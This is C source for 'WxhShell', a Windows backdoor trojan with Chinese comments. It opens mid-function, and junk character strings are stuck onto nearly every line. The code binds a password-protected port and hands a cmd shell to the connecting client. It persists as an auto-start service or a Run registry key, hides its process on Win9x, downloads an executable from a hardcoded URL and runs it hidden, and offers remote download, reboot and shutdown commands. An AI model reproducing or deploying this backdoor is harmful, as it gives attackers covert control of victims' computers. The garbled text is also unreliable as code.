  case 'd': { M0]J `fL@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XFi9qL^  
    if(Boot(SHUTDOWN)) Yv[<c!\   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w4RtIDW:  
    else { r\q|DZ7  
    closesocket(wsh); i1Y<[s  
    ExitThread(0);  o%$R`;  
    } p`'3Il3  
    break; )0=H)k0  
    } ]zI*}(adu  
  // 获取shell ;NGSJfn  
  case 's': { 66po SZR@  
    CmdShell(wsh); jTqE V(  
    closesocket(wsh); ) LohB,?  
    ExitThread(0); (7X^z&2  
    break; j<h0`v  
  } 1.nYT*  
  // 退出 R !>SN0  
  case 'x': { d\tA1&k71  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EEHTlqvR  
    CloseIt(wsh); $;)A:*e  
    break; rt\.|Hr4s  
    } +0:]KG!Zs.  
  // 离开 c >xHaA:V  
  case 'q': { BD mF+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P[H 4Yp  
    closesocket(wsh); 4u1au1c  
    WSACleanup(); BD M"";u  
    exit(1); bq{eu#rQJ  
    break;  X$_z"t  
        } )%hW3w  
  } jori,"s  
  } +Ecn  
WogCt,  
  // 提示信息 RuOse9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <"7Wb"+  
} YOY2K%o  
  } @680.+Kw  
T~d_?UAw$  
  return; UvL=^*tm  
} 2hb>6Z;r]K  
D#d/?\2  
// shell模块句柄 )c.!3n/pb  
int CmdShell(SOCKET sock) 2UTmQOm  
{ -LlS9[r0  
STARTUPINFO si; 1gX$U00:  
ZeroMemory(&si,sizeof(si)); k%;oc$0G-3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ",S146Y+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~@"H\):/  
PROCESS_INFORMATION ProcessInfo; D+Z2y1  
char cmdline[]="cmd"; 3k:`7E.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #eKH'fE  
  return 0; &HqBlRo  
} +]e) :J  
n -xCaq  
// 自身启动模式 sLc,Dx"+  
int StartFromService(void) V"KuwM  
{ )vGxF}I3  
typedef struct O*>`md?MH  
{ perhR!#J  
  DWORD ExitStatus; 9e;:(jl^  
  DWORD PebBaseAddress; p R ! m  
  DWORD AffinityMask; |Pv)&'B"  
  DWORD BasePriority; :bq UA(k  
  ULONG UniqueProcessId; HHT8_c'CC#  
  ULONG InheritedFromUniqueProcessId; ,9$|"e&  
}   PROCESS_BASIC_INFORMATION; ?',GRaD  
!fJy7Y  
PROCNTQSIP NtQueryInformationProcess; , Q)  
x}uDW   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p uW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s6Il3K f  
`X(H,Q}*;  
  HANDLE             hProcess; !_-Uwg  
  PROCESS_BASIC_INFORMATION pbi;  H@sM$8  
Mwa Rwk;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FW3uq^  
  if(NULL == hInst ) return 0; D=M'g}l  
(bD#PQXzm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?BU?c:"f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oKPG0iM:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |J~A )Bw?  
+)_#j/  
  if (!NtQueryInformationProcess) return 0; jPs{Mr<  
6h1pPx7zU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cvjZ$Fcc%(  
  if(!hProcess) return 0; .qCI!%fg  
8`Tj*7Y=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ksyQ_4^SO  
pV$A?b"?*  
  CloseHandle(hProcess); 7s 0pH+  
)g ?'Nz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?v&2^d4C*F  
if(hProcess==NULL) return 0; -gv[u,R  
%Lp#2?*  
HMODULE hMod; % "^CrG  
char procName[255]; O{EbL5p  
unsigned long cbNeeded; /{-J_+u*%  
-`PLewvX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MTn}]blH  
C-H6l6,  
  CloseHandle(hProcess); tQ)l4Y 8  
>KJE *X@s  
if(strstr(procName,"services")) return 1; // 以服务启动 A" IaFXB  
S"@@BQ#mf  
  return 0; // 注册表启动 &Zo+F]3d  
} e_3B\59k  
"j=E8Dd}  
// 主模块 e]V7 7oc  
int StartWxhshell(LPSTR lpCmdLine) YOUX  
{ ~oRT@E  
  SOCKET wsl; H5be5  
BOOL val=TRUE; C-/+n5J  
  int port=0; Sre:l'.  
  struct sockaddr_in door; )O>M~  
Q!h+1fb  
  if(wscfg.ws_autoins) Install(); xj JoWB  
0RN7hpf&`  
port=atoi(lpCmdLine); J5}?<Dd:  
Z*.rv t  
if(port<=0) port=wscfg.ws_port; Q>TNzh  
jV#1d8qm  
  WSADATA data; WPPD vB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /`7G7pQ+  
M%5_~g2n'\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [o.#$(   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X&A2:A 6\+  
  door.sin_family = AF_INET; F`.W 9H3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h@Ix9!?+  
  door.sin_port = htons(port); jgBJs^JgYG  
n%6=w9.%c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H^g&e$d0  
closesocket(wsl); Vr #o]v  
return 1; 7/dp_I}cO  
} b6'ZVB  
afjEN y1  
  if(listen(wsl,2) == INVALID_SOCKET) { \<\147&)r  
closesocket(wsl); #,OiZQJC  
return 1; i"n1E@  
} ~$YasFEz  
  Wxhshell(wsl);  9-y<= )  
  WSACleanup(); Xet} J@C  
T^Hq 5Oy  
return 0; ?]>;Wr  
R_#k^P^  
} ,n$HTWa@0  
9<5ii  
// 以NT服务方式启动 h#u k-7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cm-dos  
{ h2 >a_0"  
DWORD   status = 0; 1JZhcfG  
  DWORD   specificError = 0xfffffff; zvT8r(<n}  
Srrzj-9^)K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tNxKpA |F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v5.KCc}"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5E2T*EXSh  
  serviceStatus.dwWin32ExitCode     = 0; R%Xz3Z&|  
  serviceStatus.dwServiceSpecificExitCode = 0; ZsGJ[  
  serviceStatus.dwCheckPoint       = 0; LqS_%6^  
  serviceStatus.dwWaitHint       = 0; UhSaqq  
5w</Ga  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9dp1NjOtAc  
  if (hServiceStatusHandle==0) return; #YSFiy:+r_  
}jYVB|2  
status = GetLastError(); isz-MP$:K5  
  if (status!=NO_ERROR) {-yw@Kq  
{ YyC$\HH6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >FL%H=]  
    serviceStatus.dwCheckPoint       = 0; Tlk!6A:  
    serviceStatus.dwWaitHint       = 0; *++}ll6  
    serviceStatus.dwWin32ExitCode     = status; svMu85z  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'Kd-A:K2g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dRBWJ/ 1T  
    return; e)|5 P  
  } mEbj  
5B;;{GR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9\%`/tJM  
  serviceStatus.dwCheckPoint       = 0; EHrr}&  
  serviceStatus.dwWaitHint       = 0; KqXPxp^_Al  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lo}zT-F  
} iL'j9_w,  
l^rQo_alk  
// 处理NT服务事件,比如:启动、停止 D~ 7W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FMC]KXSd  
{ {G{ >Qa|  
switch(fdwControl) | zOwC9-6  
{ aX.//T:':?  
case SERVICE_CONTROL_STOP: tQ`|MO&o  
  serviceStatus.dwWin32ExitCode = 0; H1$n6J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l <yYfGO  
  serviceStatus.dwCheckPoint   = 0; Oki{)Ssy  
  serviceStatus.dwWaitHint     = 0; "fu@2y4^  
  { *4c5b'u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =lx~tSiS  
  } c4}|a1R\=  
  return; 6Z{(.'Be  
case SERVICE_CONTROL_PAUSE: >&Y\g?Z6G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L!~ap  
  break; j-t"  
case SERVICE_CONTROL_CONTINUE: !'a <Dw5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @R;&PR#5  
  break; Sea6xGdq  
case SERVICE_CONTROL_INTERROGATE: Nu+DVIM  
  break; z]!w@:  
}; i~rb-~o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Am#Pa,g  
} >txeo17Ba\  
H"wIa8A  
// 标准应用程序主函数  Rp6q)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =|H.r9-PK6  
{ }w{E<C(M  
x}#N?d  
// 获取操作系统版本 2g;Id.i>  
OsIsNt=GetOsVer(); G}@a]EGm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -f"{%<Q  
1e I_F8I U  
  // 从命令行安装 @su!9]o  
  if(strpbrk(lpCmdLine,"iI")) Install(); l$m}aQ%h  
7hT@,|(j  
  // 下载执行文件 NdC5w-WY  
if(wscfg.ws_downexe) { T `o[whr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~gg&G~ ET  
  WinExec(wscfg.ws_filenam,SW_HIDE); gq~"Z[T  
} =0SJf 3  
CaV)F3   
if(!OsIsNt) { uS! V_]  
// 如果时win9x,隐藏进程并且设置为注册表启动 T5wVJgN>  
HideProc(); *O7PH1G  
StartWxhshell(lpCmdLine); M0%nGpVj>  
} X=Jt4 h 9  
else D0h6j0r 5  
  if(StartFromService()) C{,Vk/D-0  
  // 以服务方式启动 d"thM  
  StartServiceCtrlDispatcher(DispatchTable); nY,LQ0r  
else |Gr@Mi5  
  // 普通方式启动 P[r$KGz  
  StartWxhshell(lpCmdLine); T NF  
xsU3c0wbr8  
return 0; ~w}=Oby'y  
} '30JJ0  
w^}* <q\  
2%) ~E50U  
@)@tIhw  
=========================================== =]1g*~%  
Ho $+[K  
kH4m6p  
fr&p0)85>B  
j_S3<wEJ  
*E-MJCv  
" =FfR?6 ~  
W3n[qVZIC  
#include <stdio.h> <]*Jhnx/  
#include <string.h> \8USFN~(Y  
#include <windows.h> Is9.A_0h  
#include <winsock2.h> 38%"#T3#  
#include <winsvc.h> 7?\r9bD  
#include <urlmon.h> B)rBM  
fyxc4-D  
#pragma comment (lib, "Ws2_32.lib") ^1Bk*?Yx\x  
#pragma comment (lib, "urlmon.lib") y(=0  
|7!Bk$(vA  
#define MAX_USER   100 // 最大客户端连接数 $)'LbOe  
#define BUF_SOCK   200 // sock buffer qos/pm$&i  
#define KEY_BUFF   255 // 输入 buffer ~w(A3I.  
W >|'4y)  
#define REBOOT     0   // 重启 !$<Kp6  
#define SHUTDOWN   1   // 关机 >L$9fn/J  
P=X)Ktmv  
#define DEF_PORT   5000 // 监听端口 OXZx!h  
ScRK1  
#define REG_LEN     16   // 注册表键长度 OK2\2&G  
#define SVC_LEN     80   // NT服务名长度 @.pr}S/  
4I2#L+W  
// 从dll定义API r>G||/Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R S] N%`]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kD6Iz$tr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4v2JrC;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5Hs !s+  
1;vwreJ  
// wxhshell配置信息 }xY|z"&  
struct WSCFG { rw75(Lp{  
  int ws_port;         // 监听端口 |C>\k u*  
  char ws_passstr[REG_LEN]; // 口令 -o57"r^x  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1U ='"  
  char ws_regname[REG_LEN]; // 注册表键名 ~eUv.I/  
  char ws_svcname[REG_LEN]; // 服务名 ^c| 0?EH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m~F ~9&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0\+$j5;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ac8su0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )4H0Bz2G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <)oxs ]<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4}] In/yA  
!k#N] 9D3  
}; OOYdrv,  
Vc+~yh.)  
// default Wxhshell configuration ;}k_  
struct WSCFG wscfg={DEF_PORT, i'}"5O+  
    "xuhuanlingzhe", N5b&tJb M0  
    1, N8X)/W  
    "Wxhshell", n%s$!R- \  
    "Wxhshell", fqn;,!D?9  
            "WxhShell Service", N<QLvZh  
    "Wrsky Windows CmdShell Service", WrR8TYq9D]  
    "Please Input Your Password: ", {(h!JeQ  
  1, 7 *4i0{]  
  "http://www.wrsky.com/wxhshell.exe", 5,R<9FjW  
  "Wxhshell.exe" ""jl  
    }; RI BB*  
!X=93%  
// 消息定义模块 t`1~5#?Du(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M* dou_Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qd}h:U^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '(8} <(%  
char *msg_ws_ext="\n\rExit."; ryTtGx%a  
char *msg_ws_end="\n\rQuit."; l{V(Y$xp3  
char *msg_ws_boot="\n\rReboot..."; V_KHVul  
char *msg_ws_poff="\n\rShutdown..."; X$ A ]7t  
char *msg_ws_down="\n\rSave to "; K:Z|# i-  
lNv xt6@s  
char *msg_ws_err="\n\rErr!"; B*fBb.Z  
char *msg_ws_ok="\n\rOK!"; wL&[Vi_j{  
:BblH0'  
char ExeFile[MAX_PATH]; M$3/jl*#}  
int nUser = 0; fg GTm:   
HANDLE handles[MAX_USER]; )XYCr<s2"  
int OsIsNt; 7s;*vd>  
$-gRD|oY  
SERVICE_STATUS       serviceStatus; VC^QCuSq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &cf_?4  
F^Mt}`O  
// 函数声明 h\8bo=  
int Install(void); j)}TZx4~  
int Uninstall(void); :{?Pq8jP  
int DownloadFile(char *sURL, SOCKET wsh); ,MD >Jx|  
int Boot(int flag); YwJ<0;:+hS  
void HideProc(void); :oJ!9\5  
int GetOsVer(void); UQjZhH  
int Wxhshell(SOCKET wsl); R I]x=  
void TalkWithClient(void *cs); $EZr@n  
int CmdShell(SOCKET sock); h5[.G!  
int StartFromService(void); ^_o:Ddz?l"  
int StartWxhshell(LPSTR lpCmdLine); = Ru q  
!1P<A1K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t0)hd X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mm N $\2  
5(y Q-/6C+  
// 数据结构和表定义 ?#L5V'ZZ*  
SERVICE_TABLE_ENTRY DispatchTable[] = 4*Z>-<W=  
{ 'he&h4fm  
{wscfg.ws_svcname, NTServiceMain}, x!UGLL]_M  
{NULL, NULL} &tw{d DD6  
}; dVBr-+  
/-g%IeF  
// 自我安装 ;AT~?o`n  
int Install(void) t s=+k/Z  
{ K ?V' ?s  
  char svExeFile[MAX_PATH]; M'$?Jp#]}  
  HKEY key; wVUm!Y  
  strcpy(svExeFile,ExeFile); XMpE|M! c  
QB7^8O!<  
// 如果是win9x系统,修改注册表设为自启动 h'A #Yp0,  
if(!OsIsNt) { |l,0bkY@&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wE_#b\$=b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U?ZxQj66}  
  RegCloseKey(key); `e5f69"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6)9X+U@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \X;)Kt"  
  RegCloseKey(key); 1i 6>~  
  return 0; =7zvp,B  
    } 5R O_)G<  
  } ]$A6krfh|  
} E D_J8 +  
else { )eBCO~HS  
Yk5Cyq  
// 如果是NT以上系统,安装为系统服务 " R-Pe\W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2}.EFQp+  
if (schSCManager!=0) ~Yl%{1  
{ o]0\Km  
  SC_HANDLE schService = CreateService M\=/i\-  
  ( /^Zgv-n  
  schSCManager, 0+_:^z  
  wscfg.ws_svcname, yzz(<s:o/  
  wscfg.ws_svcdisp, )H<F([Jri  
  SERVICE_ALL_ACCESS, (M,*R v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .p\<niu7  
  SERVICE_AUTO_START, g=kuM  
  SERVICE_ERROR_NORMAL, L(3} H,t  
  svExeFile, 9jrlB0  
  NULL, IaRq6=[  
  NULL, 50`<[w<J q  
  NULL, FdmoR;  
  NULL, )>WSuf j  
  NULL %<'PSri  
  ); N x/_+JWje  
  if (schService!=0) ]a\HgFp@  
  { uJ%XF*>_D  
  CloseServiceHandle(schService); oz\r0:  
  CloseServiceHandle(schSCManager); liVj-*m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gu K!<-Oz"  
  strcat(svExeFile,wscfg.ws_svcname); |FZIUS{]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FQikFy(YY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )cxML<j'  
  RegCloseKey(key); BxGz4  
  return 0; c`!8!R  
    } [214b=  
  } <,(Ww   
  CloseServiceHandle(schSCManager); yyu f  
} 8,&QY%8pX  
} Z~ {[YsG  
R>`TV(W`9  
return 1; r!O4]j_3  
} ;O * o  
GZNfx8zsY+  
// 自我卸载 Dq~D4|  
int Uninstall(void) !\N|$-M  
{ FLOSdMYdw  
  HKEY key; T~-PT39E  
Z/= HQ8  
if(!OsIsNt) { k[;(@e@c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ih5F\eM  
  RegDeleteValue(key,wscfg.ws_regname); H%`|yUE(  
  RegCloseKey(key); DX@*lM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K7gqF~5x~  
  RegDeleteValue(key,wscfg.ws_regname); N+0`Jm  
  RegCloseKey(key); <!.Qn Y  
  return 0; 5SmgE2}  
  } 1N\-Ku  
} 9N{"ob Z  
} *6 1G<I  
else { agxR V  
)l*6zn`z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YNWAef4  
if (schSCManager!=0) )w!*6<  
{ FVS@z5A8<=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D}:M0EBS  
  if (schService!=0) nV+]jQ~o  
  { _.$g?E/(  
  if(DeleteService(schService)!=0) { @;H1s4OZ  
  CloseServiceHandle(schService); P :D6w){  
  CloseServiceHandle(schSCManager); 5nJmabw3  
  return 0; XKT2u!Lx  
  } L# NW<T  
  CloseServiceHandle(schService); X |X~|&j  
  } vd!|k5t[d  
  CloseServiceHandle(schSCManager); $Xr9<)?,  
} ]{'lV~fc  
} E7UYJ)6]  
4+_r0  
return 1; }@S''AA\  
} :6X?EbXhK  
L BP|  
// 从指定url下载文件 0'.7dzz  
int DownloadFile(char *sURL, SOCKET wsh) YkbZ 2J*-  
{ M4(`o^n  
  HRESULT hr; ITu5Y"x  
char seps[]= "/"; >J No2  
char *token; 7e D<(  
char *file; ImVHX~ qHJ  
char myURL[MAX_PATH]; d 1bx5U  
char myFILE[MAX_PATH]; dTW3mF4=  
q2KWSh5  
strcpy(myURL,sURL); $mp'/]  
  token=strtok(myURL,seps); b(.,Ex]  
  while(token!=NULL) +XN/ bT  
  { .~Z@y#  
    file=token; BSib/)p   
  token=strtok(NULL,seps); pJ 7="n  
  } >rb8A6  
2pQdDbm  
GetCurrentDirectory(MAX_PATH,myFILE); C [h^bBq  
strcat(myFILE, "\\"); Swg%[r=p=  
strcat(myFILE, file); D,J yb0BW  
  send(wsh,myFILE,strlen(myFILE),0); -YHyJs-bU  
send(wsh,"...",3,0); lGAKHCs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); />\6_kT  
  if(hr==S_OK) |ydOi&  
return 0; X0QLT:J b  
else %;{R o)03  
return 1; A#P]|i  
17{$D ,P  
} 4(FEfde=  
jvfQG:F }  
// 系统电源模块 4S+sz?W2j  
int Boot(int flag) ,>Lj>g{~  
{ RRH[$jk  
  HANDLE hToken; 9!06R-h  
  TOKEN_PRIVILEGES tkp; ai,Nx:r   
Ei[>%Ah  
  if(OsIsNt) { 3\jcq@N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2XN];,{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D-IXO @x  
    tkp.PrivilegeCount = 1; 0cBk/x^s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X}s}E ;v9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y +9OP  
if(flag==REBOOT) { j\S}TaH0e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) };=44E'7  
  return 0; CnA0^JX  
} 6#rj3^]  
else { j >wT-s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `K^j:fE7n  
  return 0; 8P#jC$<  
} DNN60NX 5Q  
  } ?g21U97Q  
  else { Y$SwQ;wl  
if(flag==REBOOT) { y! lEGA7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BRg(h3 ED  
  return 0; ^cy.iolt  
} 'U" ub2j  
else { T@ecWRro  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^5yFb=2  
  return 0; lB Y"@N  
} zz 1e)W/  
} ]VU a $$  
[Q=NGHB1/  
return 1; K!MIA  
} |tkhsQ-;  
*j0kb"#  
// win9x进程隐藏模块 LYv$U;*+  
void HideProc(void) hD5G\TR.  
{ mSu1/?PS  
*&VqAc%qD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iEJY[P1  
  if ( hKernel != NULL ) (3>Z NTm  
  { f(o1J|U{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J|z>5Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GukS =rC9  
    FreeLibrary(hKernel); +80yyn#  
  } ]"Qm25`Qz  
1|c\^;cTkt  
return; 6fOh *  
} H[a1n' "<:  
DfNX@gbo  
// 获取操作系统版本 LmKG6>Q1#1  
int GetOsVer(void) !h "6h  
{ rz @;Zn  
  OSVERSIONINFO winfo; pg%'_+$~m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0rtP :Nj$  
  GetVersionEx(&winfo); ZKv^q%92  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )+nY-DB(  
  return 1; x*" 0dYH  
  else LS=HX~5C  
  return 0; 'L"dM9#>  
} )fo9Qwe  
>,Zf3M  
// 客户端句柄模块 V>`xTQG  
int Wxhshell(SOCKET wsl) vl'2O7  
{ nz=X/J6  
  SOCKET wsh; z&6TdwhV  
  struct sockaddr_in client; =h4* ^NJ  
  DWORD myID; l$_Yl&!q$  
 3O:gZRxK  
  while(nUser<MAX_USER) N!fTt,  
{ 1qw*mV;W)_  
  int nSize=sizeof(client); ]i3 1@O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3',|HA /x  
  if(wsh==INVALID_SOCKET) return 1; }BpCa6SAs  
lUR7zrwJ]o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q DQ$Zq[  
if(handles[nUser]==0) nzdJ*C  
  closesocket(wsh); w1je|Oil  
else Zljj  
  nUser++; `nxm<~-\  
  } kAEm#oz=g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i5>]$j1/  
F|3 =Cl  
  return 0; U/e$.K3v  
} 39w|2%(O.  
]0VjVU-  
// 关闭 socket ?~;8Y=O  
void CloseIt(SOCKET wsh) i9NUv3#  
{ Wq+6`o  
closesocket(wsh); ctv=8SFv(  
nUser--; Q)7iu  
ExitThread(0); SYPG.O?I  
} e Akjpc  
7n-;++a5]  
// 客户端请求句柄 zF6]2Y?k%  
void TalkWithClient(void *cs) R(?g+:eCpM  
{ iY /N%T;  
<23oyMR0  
  SOCKET wsh=(SOCKET)cs; &gn^i!%Z)  
  char pwd[SVC_LEN]; ~f[AEE~,s+  
  char cmd[KEY_BUFF]; 1Qi5t?{  
char chr[1]; ;_.%S*W\  
int i,j; h|_E>6d)  
R).?lnS  
  while (nUser < MAX_USER) { Jv*(DFt!v  
?]`kc  
if(wscfg.ws_passstr) { !);kjXQS?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]vJ] i <|b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J!$q"0G'WT  
  //ZeroMemory(pwd,KEY_BUFF); ,~@Nhd~k  
      i=0; 5$,dpLbL  
  while(i<SVC_LEN) { R89 ;<,Ie  
r*|#*"K"a  
  // 设置超时 ay\e# )  
  fd_set FdRead; ?I6us X9$  
  struct timeval TimeOut; nV|H5i;N7  
  FD_ZERO(&FdRead); eB`7C"Z  
  FD_SET(wsh,&FdRead); K[%)_KW  
  TimeOut.tv_sec=8; ,DN>aEu1  
  TimeOut.tv_usec=0; ;TAf[[P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HQ8oOn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nQ/R,+6h  
fh0a "#L{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8._ A[{.f  
  pwd=chr[0]; L#Mul&r3x0  
  if(chr[0]==0xd || chr[0]==0xa) { YxEc(a"  
  pwd=0; K5O#BBX=  
  break; zFy0Sz F  
  } wzr3 y}fCe  
  i++; u? a*bW  
    } JmJ8s hq  
J1waiOh  
  // 如果是非法用户,关闭 socket Oy :;v7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J2 "n:  
} }1ABrbc  
@S/jVXA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;]* %wX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H\OV7=8  
jl;%?bx  
while(1) { iRo/~(  
""GeO%J8  
  ZeroMemory(cmd,KEY_BUFF); 9o|=n'o  
9sQ4 $  
      // 自动支持客户端 telnet标准   kKU,|> 3h  
  j=0; \ /3Xb  
  while(j<KEY_BUFF) { VP|ga }(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EkV LSur  
  cmd[j]=chr[0];  #K8kz  
  if(chr[0]==0xa || chr[0]==0xd) { g1JBssw&m  
  cmd[j]=0; }B=`nbgIG7  
  break; orB8q((  
  } ;(cq aB  
  j++; #$&!)13  
    } k_p4 f%9  
xef@-%mcoy  
  // 下载文件 50 :gk*hy  
  if(strstr(cmd,"http://")) { ;aJBx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -r%3"C=m  
  if(DownloadFile(cmd,wsh)) Q+ r4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VCzmTnD  
  else v(+9&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,qF;#nB-  
  } teO%w9ByY  
  else { #HjiE  
Byx8`Cx1  
